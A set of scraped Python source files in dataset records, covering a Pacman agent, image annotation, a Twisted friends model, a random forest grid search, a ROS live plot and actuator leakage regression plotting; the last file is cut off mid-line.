#self.breadthFirstSearch(gameState)\n #string = raw_input()\n\n # Determine if the enemy is closer to you than they were last time\n # and you are in their territory.\n # Note: This behavior isn't perfect, and can force Pacman to cower \n # in a corner. I leave it up to you to improve this behavior.\n close_dist = 9999.0\n if self.index == 1 and gameState.getAgentState(self.index).isPacman:\n opp_fut_state = [successor.getAgentState(i) for i in self.getOpponents(successor)]\n chasers = [p for p in opp_fut_state if p.getPosition() != None and not p.isPacman]\n if len(chasers) > 0:\n close_dist = min([float(self.getMazeDistance(myPos, c.getPosition())) for c in chasers])\n\n # View the action and close distance information for each \n # possible move choice.\n # print(\"Action: \"+str(action))\n # print(\"\\t\\t\"+str(close_dist), sys.stderr)\n features['fleeEnemy'] = 1.0/close_dist\n return features\n\n def getWeights(self, gameState, action):\n \"\"\"\n Function that returns the weights of each associated parameter.\n :param gameState: The variables of the current state.\n :param action: The direction of the agents move.\n \"\"\"\n return {'successorScore': 100, 'distanceToFood': -1.5, 'fleeEnemy': -100.0}\n\n","sub_path":"improvedTeamBFS.py","file_name":"improvedTeamBFS.py","file_ext":"py","file_size_in_byte":12395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"553734757","text":"#coding: utf-8\nfrom PIL import Image,ImageDraw,ImageFont\n\ndef addnum(pic):\n im = Image.open(pic)\n x,y = im.size\n font = ImageFont.truetype('PICOSUB_.ttf',90)\n draw = ImageDraw.Draw(im)\n draw.text((x-110,100),'4',font=font,fill=(255,0,0))\n im.save('0000.jpg','jpeg')\nif __name__ == '__main__':\n addnum('6.jpg')","sub_path":"0000/0000.py","file_name":"0000.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"609447647","text":"# coding=utf-8\n\nimport collections\nfrom twisted.internet import defer\n\nfrom mbrain.common.utils import parser, serializer\nfrom mbrain.common.utils.pinyin import get_pinyin_first\nfrom mbrain.common.db import BaseDocument\nfrom mbrain.apps._models.user import User\n\n\n\nclass FriendsParser(parser.BaseParser):\n user_id = parser.UUIDParserField(field_name = \"user_id\")\n friend_id = parser.UUIDParserField(field_name = \"friend_id\")\n create_time = parser.DateTimeParserField(None)\n note = parser.StringParserField(\"note\")\n\n\n# class FriendSerializer(serializer.BaseSerializer):\n# user_id=\n\nclass Friends(BaseDocument):\n collection_name = \"friends_friend\"\n Parser = FriendsParser\n # Serializer =\n\n @classmethod\n @defer.inlineCallbacks\n def get_friend_list(cls, user_id):\n user_list = []\n friend_cursor = yield cls.collection.find({'user_id': user_id})\n friend_id_list = [friend['friend_id'] for friend in friend_cursor]\n if friend_id_list:\n result_dict = collections.defaultdict(list)\n user_list = yield User.collection.find({'_id': {'$in': friend_id_list}})\n user_list = User.serialize(user_list)\n for user in user_list:\n letter = get_pinyin_first(user['nick'])\n result_dict[letter].append(user)\n result_list = []\n for key, user_list in result_dict.items():\n result_list.append({'index': key, 'user_list': user_list})\n defer.returnValue(result_list)\n else:\n defer.returnValue(user_list)\n\n @classmethod\n @defer.inlineCallbacks\n def make_friends(cls, user_id, friend_id):\n pair = [\n {'user_id': user_id, 'friend_id': friend_id},\n {'user_id': friend_id, 'friend_id': user_id}\n ]\n inserted = yield cls.collection.insert(pair)\n defer.returnValue(inserted)\n\n @classmethod\n @defer.inlineCallbacks\n def delete_friends(cls, user_id, friend_id):\n pair = {'$or':[\n {'user_id': user_id, 'friend_id': friend_id},\n {'user_id': friend_id, 'friend_id': user_id}\n ]}\n removed = yield cls.collection.remove(pair)\n defer.returnValue(removed)\n\n @classmethod\n @defer.inlineCallbacks\n def is_friend(cls, user_id, other_id):\n result = yield cls.collection.find_one({'user_id': user_id, 'friend_id': other_id})\n if result:\n defer.returnValue(True)\n else:\n defer.returnValue(False)\n\nclass UserVerificationParser(parser.BaseParser):\n request_id = parser.UUIDParserField(\"request_id\")\n user_id = parser.UUIDParserField(\"user_id\")\n message = parser.StringParserField(\"message\")\n create_time = parser.DateTimeParserField(None)\n is_read = parser.BoolParserField(None, False)\n is_agree = parser.BoolParserField(\"is_agree\", False)\n # send_user = parser.StringParserField(\"send_user\")\n # recieve_user = parser.StringParserField(\"recieve_user\")\n\nclass UserVerificationSerializer(serializer.BaseSerializer):\n request_user = serializer.SeriaField('request_user')\n message = serializer.SeriaField('message')\n create_time = serializer.SeriaField('create_time')\n\n\nclass UserVerification(BaseDocument):\n collection_name = \"friends_verification\"\n Parser = UserVerificationParser\n Serializer = UserVerificationSerializer\n\n\n @classmethod\n @defer.inlineCallbacks\n def apply_friend(cls, request_id, user_id, message):\n # 还需要检查是否是好友,或是否已发送过好友申请,如果是,则不作任何处理\n friend_list = yield Friends.collection.find({'user_id': user_id, 'friend_id': request_id})\n applyed = yield cls.collection.find_one({'user_id': user_id, 'request_id': request_id, 'is_read': False})\n if friend_list or applyed:\n defer.returnValue(None)\n else:\n # 检查user_id与request_id是否都是合法的……\n # 1. user_id不能与request_id相同\n # 2. 数据库这两个用户要确实存在?\n insert_doc = cls.validate({'request_id': request_id, 'user_id': user_id, 'message': message})\n yield cls.collection.insert(insert_doc)\n # notify user\n request_user = yield User.collection.find_one({'_id': request_id})\n notify_data = {'message': message, 'request_user': User.serialize(request_user), 'receive_id': user_id } # 要通知给user的消息\n defer.returnValue(notify_data)\n\n @classmethod\n @defer.inlineCallbacks\n def get_unread_apply(cls, user_id):\n unread_list = yield cls.collection.find({'user_id': user_id, 'is_read': False})\n request_id_list = [i['request_id'] for i in unread_list]\n user_cursor = yield User.collection.find({'_id': {'$in': request_id_list}})\n user_dict = {user['_id']: user for user in user_cursor}\n\n for unread_apply in unread_list:\n temp_request_id = unread_apply['request_id']\n temp_user = user_dict.get(temp_request_id, None)\n unread_apply.update({'request_user': User.serialize(temp_user)})\n\n unread_list = cls.serialize(unread_list)\n defer.returnValue(unread_list)\n\n\n @classmethod\n @defer.inlineCallbacks\n def confirm_apply(cls, user_id, request_id, is_agree):\n updated = yield cls.collection.update({'request_id': request_id, 'user_id': user_id}, {'$set': {'is_agree':is_agree, 'is_read': True}})\n if is_agree:\n yield Friends.make_friends(request_id, user_id)\n # notify user\n agreed_user = yield User.collection.find_one({'_id': user_id})\n notify_data = {'receive_id': request_id, 'user': User.serialize(agreed_user)}\n defer.returnValue(notify_data)\n\n defer.returnValue(None)","sub_path":"mbrain/apps/_models/friend.py","file_name":"friend.py","file_ext":"py","file_size_in_byte":5835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"584867888","text":"#########################################################################################################\n# Name : Grid_Search_RF\n# Date : 04-21-2015\n# Author : Christopher M\n# Dept : BEI Business Analytics\n#########################################################################################################\n# ver user date(YYYYMMDD) change \n# 1.0 CMooney 20150421 initial\n#########################################################################################################\n\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.metrics import classification_report\nfrom sklearn.ensemble import (RandomForestClassifier, ExtraTreesClassifier,AdaBoostClassifier)\nfrom sklearn.grid_search import GridSearchCV, RandomizedSearchCV\nimport sklearn\nimport numpy as np\nimport pandas as pd\n\n##\n# KDD Cup Example\ndf = pd.read_csv('F:\\\\kddcup98-1.csv')\nMatrix = df.values\nprint(Matrix.shape) \nGrid_Search_RF(df,'TARGET_B') \n\n# Iris Example\ndf = pd.read_csv('F:\\\\Analytics_Process\\\\Python\\\\SampleData\\\\Iris.csv')\nMatrix = df.values\nprint(Matrix.shape) \nModelFit = Grid_Search_RF(df,'Species') \n\n##\ndef Grid_Search_RF(df,Target):\n \n # transform into matrix\n Matrix = df.values\n \n # index of target\n TargetIndex = df.columns.get_loc(Target)\n \n # Extract all features and target\n li = list(range(0, (Matrix.shape[1])))\n \n # Remove Target\n li.remove(TargetIndex)\n \n # print list of feature indexes\n print('features: ' + str(li))\n \n # Select our features (predictors)\n MatrixFeatures = Matrix[:,li]\n \n # Select our target\n MatrixTarget = Matrix[:,TargetIndex]\n \n # Split into test and train\n train_features, test_features, train_Target, test_Target = train_test_split(MatrixFeatures, MatrixTarget, test_size=0.75)\n \n param_grid = {\"max_depth\": [1,3,6,9,12, None],\n \"max_features\": [1,np.shape(train_features)[1]],\n \"min_samples_split\": [1, 3, 5, 10],\n \"min_samples_leaf\": [1, 3, 5, 10],\n \"n_estimators\": [200,500,900],\n \"bootstrap\": [True, False],\n \"criterion\": [\"gini\", \"entropy\"]}\n \n model = RandomForestClassifier()\n \n rsearch = GridSearchCV(estimator=model, param_grid=param_grid,n_jobs=6,verbose=1)\n rsearch.fit(train_features, np.unique(np.ravel(train_Target), return_inverse=True)[1])\n\n print(rsearch.best_params_)\n return(rsearch)\n\n\n\n","sub_path":"Python/6_Modeling/Classification/Grid_Search_RandomForest.py","file_name":"Grid_Search_RandomForest.py","file_ext":"py","file_size_in_byte":2552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"555148315","text":"#!/usr/bin/env python\nimport sys\nfrom PyQt4 import QtGui\n \nfrom matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.backends.backend_qt4agg import NavigationToolbar2QTAgg as NavigationToolbar\nimport matplotlib.pyplot as plt\n \nimport random\nimport rospy\nimport numpy\nfrom std_msgs.msg import Float64\nfrom drawnow import *\n\ndataArr = []\ntimeArr = []\ncnt=0\n\nclass Window(QtGui.QWidget):\n def __init__(self, parent=None):\n super(Window, self).__init__(parent)\n \n self.figure = plt.figure()\n self.canvas = FigureCanvas(self.figure)\n \n layout = QtGui.QVBoxLayout()\n layout.addWidget(self.canvas)\n self.setLayout(layout)\n \n def makeplot(self):\n ax = self.figure.add_subplot(111)\n ax.hold(False)\n ax.plot(timeArr,dataArr, 'r-')\n ax.set_xlim([numpy.amin(timeArr),numpy.amax(timeArr)])\n \n def callback(self,data):\n global cnt,time,timeArr\n now = rospy.get_rostime()\n time = now.secs + 10**-9*now.nsecs\n dataArr.append(data.data)\n timeArr.append(time)\n drawnow(self.makeplot)\n plt.pause(0.0000001)\n cnt=cnt+1\n if(cnt>50):\n timeArr.pop(0)\n dataArr.pop(0)\n \nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n \n main = Window()\n main.setWindowTitle('Live plot of depth')\n main.show()\n rospy.init_node('listener')\n rospy.Subscriber('depth_value', Float64, main.callback)\n rospy.spin()","sub_path":"pyqt_try/scripts/pyqtmatplotlib.py","file_name":"pyqtmatplotlib.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"71505195","text":"import pdb\nimport os\nimport sys\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.stats as st\nimport scipy.linalg as lalg\nfrom scipy import interpolate\nimport statistics as stat\nimport math\nimport getopt\nimport pdb #pdb.set_trace()\n\nfrom moduleFunctions import *\n\ndef rsquared(x, y):\n\t\"\"\" Return R^2 where x and y are array-like.\"\"\"\n\n\tslope, intercept, r_value, p_value, std_err = st.linregress(x, y)\n\treturn r_value**2\n\ndef internalLeakageVSTemp_regression(dataClasses, inputDataClass, plotSettings, CMDoptionsDict):\n\t\n\tdataTemp1 = [temp for temp in dataClasses if temp.get_description() == 'Temp1'][0]\n\tdataTemp2 = [temp for temp in dataClasses if temp.get_description() == 'Temp2'][0]\n\tdataVolFlow1 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow1'][0]\n\tdataVolFlow2 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow2'][0]\n\n\tstepStrs = dataTemp1.get_stepID()\n\tindexDictForSteps = {}\n\tfor id_curr in stepStrs:\n\t\tindexDictForSteps[id_curr] = stepStrs.index(id_curr)\n\n\tfigure, axs = plt.subplots(2, 1)\n\tfigure.set_size_inches(16, 10, forward=True)\n\tmarkerDict = {'3-SN002-1.3':'o',\t'8-SN002-2.4':'+',\t'10-SN0012-1.3':'o',\t'13-SN0012-2.4':'+', '3-Step-1.3':'o',\t'7-Step-2.4':'+', '11-Step-2.4-Repeat':'+', '26-Step-2.4-Repeat2':'+'}\n\tlinestyleDict = {'3-SN002-1.3':'',\t'8-SN002-2.4':'',\t'10-SN0012-1.3':'',\t'13-SN0012-2.4':'', '3-Step-1.3':'',\t'7-Step-2.4':'', '11-Step-2.4-Repeat':'', '26-Step-2.4-Repeat2':''}\n\tcolorsDict = {'3-SN002-1.3':plotSettings['colors'][0],\t'8-SN002-2.4':plotSettings['colors'][0],\t'10-SN0012-1.3':plotSettings['colors'][1],\t'13-SN0012-2.4':plotSettings['colors'][1], '3-Step-1.3':plotSettings['colors'][2], '7-Step-2.4':plotSettings['colors'][2], '11-Step-2.4-Repeat':plotSettings['colors'][1], '26-Step-2.4-Repeat2':plotSettings['colors'][0]}\n\tlabelsDict = {'3-SN002-1.3':'SN002 / 100bar / CF ON',\t'8-SN002-2.4':'SN002 / 100bar', '10-SN0012-1.3':'SN0012 / 100bar / CF ON', '13-SN0012-2.4':'SN0012 / 100bar', '3-Step-1.3':'SN002 / 150bar / CF ON', '7-Step-2.4':'SN002 / 150bar', '11-Step-2.4-Repeat':'SN002 / 150bar / Repeat', '26-Step-2.4-Repeat2':'SN002 / 150bar / Repeat'}\n\ttitlesDict = {0 : 'System 1', 1: 'System 2'}\n\ti=0\n\tfor dataTemp,dataVolFlow in zip([dataTemp1,dataTemp2],[dataVolFlow1,dataVolFlow2]):\n\t\tassert dataVolFlow.get_stepID() == dataTemp.get_stepID(), 'Error'\n\t\tfor j in range(len(dataVolFlow.get_stepID())):\n\t\t\taxs[i].plot( dataTemp.get_rs_split()[j], dataVolFlow.get_rs_split()[j], linestyle = linestyleDict[dataVolFlow.get_stepID()[j]], marker = markerDict[dataVolFlow.get_stepID()[j]], c = colorsDict[dataVolFlow.get_stepID()[j]], label = labelsDict[dataVolFlow.get_stepID()[j]], **plotSettings['line'])\n\t\taxs[i].set_ylabel(inputDataClass.get_variablesInfoDict()[dataVolFlow.get_mag()+'__'+dataVolFlow.get_description()]['y-label'], **plotSettings['axes_y'])\n\t\taxs[i].set_title(titlesDict[i], **plotSettings['ax_title'])\n\t\taxs[i].legend(**plotSettings['legend'])\n\t\tusualSettingsAX(axs[i], plotSettings)\n\t\ti+=1\n\taxs[-1].set_xlabel(inputDataClass.get_variablesInfoDict()[dataTemp.get_mag()+'__'+dataTemp.get_description()]['y-label'], **plotSettings['axes_x'])\n\n\t# Regression\n\tdataTemps = [dataTemp1, dataTemp2]\n\tdataVolFlows = [dataVolFlow1, dataVolFlow2]\n\tfigure, axs = plt.subplots(2, 1)\n\tfigure.set_size_inches(16, 10, forward=True)\n\tmarkersDegreesDict = {1:'+', 2:'v', 3:'^'}\n\tfor stepStr in dataVolFlow.get_stepID():\n\t\tif stepStr in ('7-Step-2.4', '13-SN0012-2.4', '8-SN002-2.4'):\n\n\t\t\tfor sysID in range(2):\n\t\t\t\n\t\t\t\tprint('\\n--> Regression results for step '+stepStr +', sys: '+str(sysID+1))\n\n\t\t\t\tflow = dataVolFlows[sysID].get_rs_split()[indexDictForSteps[stepStr]]\n\t\t\t\ttemp = dataTemps[sysID].get_rs_split()[indexDictForSteps[stepStr]]\n\n\t\t\t\taxs[sysID].plot( temp, flow, linestyle = '', marker = 'o', c = colorsDict[stepStr], label = stepStr, **plotSettings['line'])\n\t\t\t\tfor degreeRangeCurrent in range(3):\n\t\t\t\t\tdegree = 1+degreeRangeCurrent # 1, 2, 3\n\t\t\t\t\tp = np.polyfit(temp, flow, degree)\n\t\t\t\t\tregre = np.poly1d(p)\n\n\t\t\t\t\t# Regression results\n\t\t\t\t\tprint('-> Regression results with '+str(degree)+' order curve:')\n\t\t\t\t\tprint(','.join([str(o) for o in p]) + ' - R='+str(rsquared(temp, regre(temp))))\n\n\t\t\t\t\taxs[sysID].plot( temp, regre(temp), linestyle = '', marker = markersDegreesDict[degree], c = colorsDict[stepStr], label = str(degree)+' ord. regression', **plotSettings['line'])\n\n\ti = 0\n\tfor ax in axs:\n\t\tax.set_ylabel(inputDataClass.get_variablesInfoDict()[dataVolFlow1.get_mag()+'__'+dataVolFlow1.get_description()]['y-label'], **plotSettings['axes_y'])\n\t\tax.set_title(titlesDict[i], **plotSettings['ax_title'])\n\t\tax.legend(**plotSettings['legend'])\n\t\tusualSettingsAX(ax, plotSettings)\n\t\t\n\t\ti+=1\n\taxs[-1].set_xlabel('Temp. [$^\\circ$C]', **plotSettings['axes_x'])\n\ndef internalLeakageVSForce_regression(dataClasses, inputDataClass, plotSettings, CMDoptionsDict):\n\n\t#Vector of steps\n\tdataTemp1 = [temp for temp in dataClasses if temp.get_description() == 'Temp1'][0]\n\tdataTemp2 = [temp for temp in dataClasses if temp.get_description() == 'Temp2'][0]\n\tdataVolFlow1 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow1'][0]\n\tdataVolFlow2 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow2'][0]\t\t\t\n\tdataOutputForce = [temp for temp in dataClasses if temp.get_description() == 'OutputForce'][0]\n\n\tstepStrs = dataTemp1.get_stepID()\n\tindexDictForSteps = {}\n\tfor id_curr in stepStrs:\n\t\tindexDictForSteps[id_curr] = stepStrs.index(id_curr)\n\n\t# Segments from tests at 100bar\n\tcolorsDict = {'10-SN0012-1.3' :plotSettings['colors'][0], '3-SN002-1.3' :plotSettings['colors'][1], '1-Step-1.1':plotSettings['colors'][2], '3-Step-1.3':plotSettings['colors'][2]}\n\tmarkerDict = {'10-SN0012-1.3':'o', '3-SN002-1.3':'o', '1-Step-1.1':'o', '3-Step-1.3':'+'}\n\tlabelsDict = {'10-SN0012-1.3':'SN0012-Step 1.3 (100bar test campaign)', '3-SN002-1.3':'SN002-Step 1.3 (100bar test campaign)', '1-Step-1.1':'SN002-Step 1.1 (150bar test campaign)', '3-Step-1.3':'SN002-Step 1.3 (150bar test campaign)'}\n\ttitlesDict = {0 : 'System 1', 1: 'System 2'}\n\texecutionFlags_VolflowVSForce_actuators = {}\n\texecutionFlags_VolflowVSForce_actuators['10-SN0012-1.3'] = [ [692.8, 696.8]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [699.2, 703.8]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [714.6, 719.6]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [721.2, 724.0]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [729.5, 731.2]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [733.4, 737.4]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [740.9, 742.8]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\texecutionFlags_VolflowVSForce_actuators['3-SN002-1.3'] = [[3339.2, 3341.8]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [3377.4, 3382]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [3392.5, 3394.75]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [3408.3, 3411.0]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\texecutionFlags_VolflowVSForce_actuators['1-Step-1.1'] = [[50, 70] #Negative force\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [90, 150] #Positive force\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\texecutionFlags_VolflowVSForce_actuators['3-Step-1.3'] = [[2235, 2250] #Negative force\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t, [2260, 2290] #Positive force\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]\n\t\n\t# Figure initialization \n\tfigure_VolflowVSForce_actuators, axs = plt.subplots(2, 1, sharex='col', sharey='col')\n\tfigure_VolflowVSForce_actuators.set_size_inches(16, 10, forward=True)\n\tfigure_VolflowVSForce_actuators.suptitle('Increment of flow volume rate due to output force (effect of temperature and pressure removed)', **plotSettings['figure_title'])\n\n\t# #####################\t\t\t\n\tcorrespondenceForStepsDict = {'3-SN002-1.3':'8-SN002-2.4', '10-SN0012-1.3':'13-SN0012-2.4', '1-Step-1.1':'7-Step-2.4', '3-Step-1.3':'7-Step-2.4'}\n\n\tresults = {}\n\tfor stepStr in ('3-Step-1.3', '10-SN0012-1.3', '3-SN002-1.3'):\n\n\t\t# Get interpolation function\n\t\tinterpol_flow_s1 = interpolate.interp1d(dataTemp1.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]], dataVolFlow1.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]], kind = 'linear', bounds_error = False, fill_value = (min(dataVolFlow1.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]]), max(dataVolFlow1.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]])), assume_sorted = False) \n\t\tinterpol_flow_s2 = interpolate.interp1d(dataTemp2.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]], dataVolFlow2.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]], kind = 'linear', bounds_error = False, fill_value = (min(dataVolFlow2.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]]), max(dataVolFlow2.get_rs_split()[indexDictForSteps[correspondenceForStepsDict[stepStr]]])), assume_sorted = False)\n\t\t\n\t\tsegmentsAdded_Temp1, segmentsAdded_Temp2, segmentsAdded_VolFlow1, segmentsAdded_VolFlow2, segmentsAdded_OutputForce, times = [], [], [], [], [], []\n\t\tfor seg in executionFlags_VolflowVSForce_actuators[stepStr]:\n\t\t\tnewTime = createSegmentsOf_rs_FromVariableClass(dataTemp1, seg, indexDictForSteps[stepStr])[1]\n\t\t\ttimes += newTime\n\n\t\t\tsegmentsAdded_Temp1 += createSegmentsOf_rs_FromVariableClass(dataTemp1, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_Temp2 += createSegmentsOf_rs_FromVariableClass(dataTemp2, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_VolFlow1 += createSegmentsOf_rs_FromVariableClass(dataVolFlow1, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_VolFlow2 += createSegmentsOf_rs_FromVariableClass(dataVolFlow2, seg, indexDictForSteps[stepStr])[0]\n\t\t\tsegmentsAdded_OutputForce += createSegmentsOf_rs_FromVariableClass(dataOutputForce, seg, indexDictForSteps[stepStr])[0]\n\n\t\t# Correct points outside the interpolation range\n\t\t# Get interpol functions\n\t\toffset_flow_s1_vector = interpol_flow_s1(segmentsAdded_Temp1)\n\t\toffset_flow_s2_vector = interpol_flow_s2(segmentsAdded_Temp2)\n\n\t\tdataOutputForceToPlot = segmentsAdded_OutputForce\n\t\tdataVolFlowToPlot1 = [r - p for r,p in zip(segmentsAdded_VolFlow1, offset_flow_s1_vector)]\n\t\tdataVolFlowToPlot2 = [r - p for r,p in zip(segmentsAdded_VolFlow2, offset_flow_s2_vector)]\n\n\t\taxs[0].plot( dataOutputForceToPlot, dataVolFlowToPlot1, linestyle = '', marker = markerDict[stepStr], c = colorsDict[stepStr], label = labelsDict[stepStr], **plotSettings['line'])\n\t\taxs[1].plot( dataOutputForceToPlot, dataVolFlowToPlot2, linestyle = '', marker = markerDict[stepStr], c = colorsDict[stepStr], label = labelsDict[stepStr], **plotSettings['line'])\n\n\t\t# Save results\n\t\tresults[stepStr] = {'force' : dataOutputForceToPlot, 'flow' : [dataVolFlowToPlot1, dataVolFlowToPlot2]}\n\n\t# Axis labels\n\taxs[0].set_ylabel(inputDataClass.get_variablesInfoDict()[dataVolFlow1.get_mag()+'__'+dataVolFlow1.get_description()]['y-label'], **plotSettings['axes_y'])\n\taxs[0].set_title(dataVolFlow1.get_description(), **plotSettings['ax_title'])\n\t\n\taxs[1].set_ylabel(inputDataClass.get_variablesInfoDict()[dataVolFlow2.get_mag()+'__'+dataVolFlow2.get_description()]['y-label'], **plotSettings['axes_y'])\n\taxs[1].set_title(dataVolFlow2.get_description(), **plotSettings['ax_title'])\n\n\taxs[-1].set_xlabel(inputDataClass.get_variablesInfoDict()[dataOutputForce.get_mag()+'__'+dataOutputForce.get_description()]['y-label'], **plotSettings['axes_x'])\n\n\tfor ax in axs:\n\t\tax.legend(**plotSettings['legend'])\n\t\tusualSettingsAX(ax, plotSettings)\n\t\n\t# Regression\n\tfig, axs = plt.subplots(2, 1, sharex='col', sharey='col')\n\tfig.set_size_inches(16, 10, forward=True)\n\tfig.suptitle('Regression results', **plotSettings['figure_title'])\n\n\tfor flowID in range(2):\n\n\t\tprint('\\n--> Regression results for system '+str(1+flowID))\n\t\t\n\t\trightForce, leftForce, rightFlow, leftFlow = [], [], [], []\n\t\tfor stepStr in ('3-SN002-1.3', '3-Step-1.3'):\n\n\t\t\t# 100 bar data\n\t\t\tforce_vector = results[stepStr]['force']\n\t\t\tflow_vector = results[stepStr]['flow'][flowID]\n\n\t\t\tfor force,flow in zip(force_vector, flow_vector):\n\n\t\t\t\tif force > 0:\n\t\t\t\t\trightForce += [force]\n\t\t\t\t\trightFlow += [flow]\n\t\t\t\telse:\n\t\t\t\t\tleftForce += [force]\n\t\t\t\t\tleftFlow += [flow]\n\n\t\taxs[flowID].plot( leftForce, leftFlow, linestyle = '', marker = 'o', c = 'b', label = 'left', **plotSettings['line'])\n\t\taxs[flowID].plot( rightForce, rightFlow, linestyle = '', marker = 'o', c = 'k', label = 'right', **plotSettings['line'])\n\t\tfor degreeRangeCurrent in range(5):\n\t\t\tdegree = 1+degreeRangeCurrent # 1, 2, 3, 4\n\t\t\tp_right = np.polyfit([t/1000.0 for t in rightForce], rightFlow, degree)\n\t\t\tregre_right = np.poly1d(p_right)\n\t\t\tp_left = np.polyfit([t/1000.0 for t in leftForce], leftFlow, degree)\n\t\t\tregre_left = np.poly1d(p_left)\n\n\t\t\t# Regression results\n\t\t\tprint('-> Regression results with '+str(degree)+' order curve (right):')\n\t\t\tprint(','.join([str(round(o, 4)) for o in p_right]) + ' - R='+str(rsquared(rightForce, regre_right([t/1000.0 for t in rightForce]))))\n\t\t\tprint('-> Regression results with '+str(degree)+' order curve (left):')\n\t\t\tprint(','.join([str(round(o, 4)) for o in p_left]) + ' - R='+str(rsquared(leftForce, regre_left([t/1000.0 for t in leftForce]))))\n\n\t\t\t# Regression results plotting\n\t\t\taxs[flowID].plot( leftForce, regre_left([t/1000.0 for t in leftForce]), linestyle = '', marker = '+', c = plotSettings['colors'][degreeRangeCurrent], label = str(degree)+' ord. regression left', **plotSettings['line'])\n\t\t\taxs[flowID].plot( rightForce, regre_right([t/1000.0 for t in rightForce]), linestyle = '', marker = '+', c = plotSettings['colors'][degreeRangeCurrent], label = str(degree)+' ord. regression right', **plotSettings['line'])\n\n\t# Axis labels\n\taxs[0].set_ylabel(inputDataClass.get_variablesInfoDict()[dataVolFlow1.get_mag()+'__'+dataVolFlow1.get_description()]['y-label'], **plotSettings['axes_y'])\n\taxs[1].set_ylabel(inputDataClass.get_variablesInfoDict()[dataVolFlow2.get_mag()+'__'+dataVolFlow2.get_description()]['y-label'], **plotSettings['axes_y'])\n\n\taxs[-1].set_xlabel(inputDataClass.get_variablesInfoDict()[dataOutputForce.get_mag()+'__'+dataOutputForce.get_description()]['y-label'], **plotSettings['axes_x'])\n\n\ti = 0\n\tfor ax in axs:\n\t\tax.set_title(titlesDict[i], **plotSettings['ax_title'])\n\t\tax.legend(**plotSettings['legend'])\n\t\t# usualSettingsAX(ax, plotSettings)\n\t\tusualSettingsAXNoDoubleAxis(ax, plotSettings)\n\t\ti+=1\n\ndef internalLeakageVSTempVSPress_withP2ref(dataClasses, inputDataClass, plotSettings, CMDoptionsDict):\n\t\n\tdataTemp1 = [temp for temp in dataClasses if temp.get_description() == 'Temp1'][0]\n\tdataTemp2 = [temp for temp in dataClasses if temp.get_description() == 'Temp2'][0]\n\tdataVolFlow1 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow1'][0]\n\tdataVolFlow2 = [temp for temp in dataClasses if temp.get_description() == 'VolFlow2'][0]\t\t\t\n\n\t#Steps to consider\n\tstepStrs = dataTemp1.get_stepID()\n\tindexDictForSteps = {}\n\tfor id_curr in stepStrs:\n\t\tindexDictForSteps[id_curr] = stepStrs.index(id_curr)\n\n\tlinestyleDict = {'6-Step-1.6':'',\t'4-SN002-1.6':'',\t'8-SN002-2.4':'',\t'7-Step-2.4':'', '3-Step-1.3' : '', '3-SN002-1.3':''}\n\tmarkerDict = {'6-Step-1.6':'o',\t'4-SN002-1.6':'o',\t'8-SN002-2.4':'o',\t'7-Step-2.4':'o', '3-Step-1.3' : 'o', '3-SN002-1.3':'o'}\n\tcolorsDict = {'6-Step-1.6':plotSettings['colors'][0],\t'7-Step-2.4':plotSettings['colors'][1],\t'8-SN002-2.4':plotSettings['colors'][2], '3-Step-1.3' : plotSettings['colors'][3], '3-SN002-1.3':plotSettings['colors'][4], '4-SN002-1.6':plotSettings['colors'][5]}\n\tlabelsDict = {'6-Step-1.6':'231.5 bar - Step 1.6 Proof Press.',\t'4-SN002-1.6':'150 bar - Step 1.6 Proof Press.', '8-SN002-2.4':'100 bar - Step 2.4 Internal leakage', \n\t\t\t\t\t'7-Step-2.4':'150 bar - Step 2.4 Internal leakage', '3-Step-1.3' : '150 bar / 4.5KN - Step 1.3 Strength output (High Temp.)', \n\t\t\t\t\t'3-SN002-1.3':'100 bar / 3.2KN - Step 1.3 Strength output (High Temp.)'}\n\ttitlesDict = {0 : 'System 1', 1: 'System 2'}\n\n\t# Segments from test step 1.3\n\tsegments13_6_16 = [ [625, 750]\n\t\t\t\t\t\t, [751, 910]\n\t\t\t\t\t\t]\n\tsegments13_4_16 = 